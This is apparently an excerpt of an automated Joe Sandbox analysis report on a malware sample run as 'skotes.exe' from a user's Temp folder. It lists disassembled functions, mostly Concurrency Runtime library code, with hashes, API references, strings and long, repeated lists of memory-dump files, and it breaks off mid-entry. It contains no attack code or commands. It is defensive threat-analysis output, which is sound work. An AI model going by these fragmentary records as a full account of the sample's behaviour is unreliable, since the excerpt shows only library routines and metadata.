Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 6acdae453d3ead8067fe61b97ef3747f9ec7d13e4d0eb851e4c3eb7fb0ee86aa
Instruction ID: afebe8739333002731b1738dfd1f34647097c829a9f247a074906a483bbb7ab5
Opcode Fuzzy Hash: 6acdae453d3ead8067fe61b97ef3747f9ec7d13e4d0eb851e4c3eb7fb0ee86aa
Instruction Fuzzy Hash: F0318035700610EFCB15DB54C885FADB7A6BF88310F1541ADE80A9B392DB78ED41CB92

Function 007C86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 007C86EE

Part of subcall function 007BEAD0: _SpinWait.LIBCONCRT ref: 007BEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 007C8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007C8734
List.LIBCMT ref: 007C87B7
List.LIBCMT ref: 007C87C6

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 78cc88c79d0aba5c2b552f273146660db08813940deab8319c068d476e24fe11
Instruction ID: efd7a817345eaffe9852c1d502208191edf07a61470fbea4ed0875adf0e63faf
Opcode Fuzzy Hash: 78cc88c79d0aba5c2b552f273146660db08813940deab8319c068d476e24fe11
Instruction Fuzzy Hash: A6318972901255DFCB50EFA4C985BEDBBB1BF04708F28406ED40137252EB39AD14CB92

Function 007D182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007D18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007D18EB

Strings

pContext, xrefs: 007D189C

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: b60b204e0e1d927e2cf467bb0cf96135288674b5e65c3e4df9150b1d6e1204b2
Instruction ID: 9747bdbcc8ab08b6774ddad964be5df615fd66172d4b2bad9cbc1d02bae54187
Opcode Fuzzy Hash: b60b204e0e1d927e2cf467bb0cf96135288674b5e65c3e4df9150b1d6e1204b2
Instruction Fuzzy Hash: E921E031B00615EBCB18EB68D899ABDB3B9BF94334B44412BE511873D1CBACA841DAD1

Function 007DDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6}, xrefs: 007DE034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 007DDFE8

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6}$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1610077261
Opcode ID: eacb73535819afec8c3ec7122c64a4081e2b564e3888fa7ed78a97dcfd645676
Instruction ID: 485e3725e51c8ff3fe36e2b40c9f874dce22869a887b6841e6d8cdd71fd2f9c3
Opcode Fuzzy Hash: eacb73535819afec8c3ec7122c64a4081e2b564e3888fa7ed78a97dcfd645676
Instruction Fuzzy Hash: 7521CF71604209EFEB31BE249D81E6B77BDEF003647208616F8298A341EB68EC10C761

Function 007CAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 007CAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007CAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 007CAF4E

Strings

pExecutionResource, xrefs: 007CAF07

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: fd3b5d843028a427969a7fb0080c074f70a4edded9ec073163c261eb13d5c798
Instruction ID: 98f44c724c9bb4782e8958a3c7aa58327297367cb8c986aa6cfa4fa2d401e000
Opcode Fuzzy Hash: fd3b5d843028a427969a7fb0080c074f70a4edded9ec073163c261eb13d5c798
Instruction Fuzzy Hash: A221A5B5641209EBCB14EF64CC86BED77B5BF48310F50402DE501AB382DBB8AE15CBA1

Function 007C4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007C4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 007C4F66

Strings

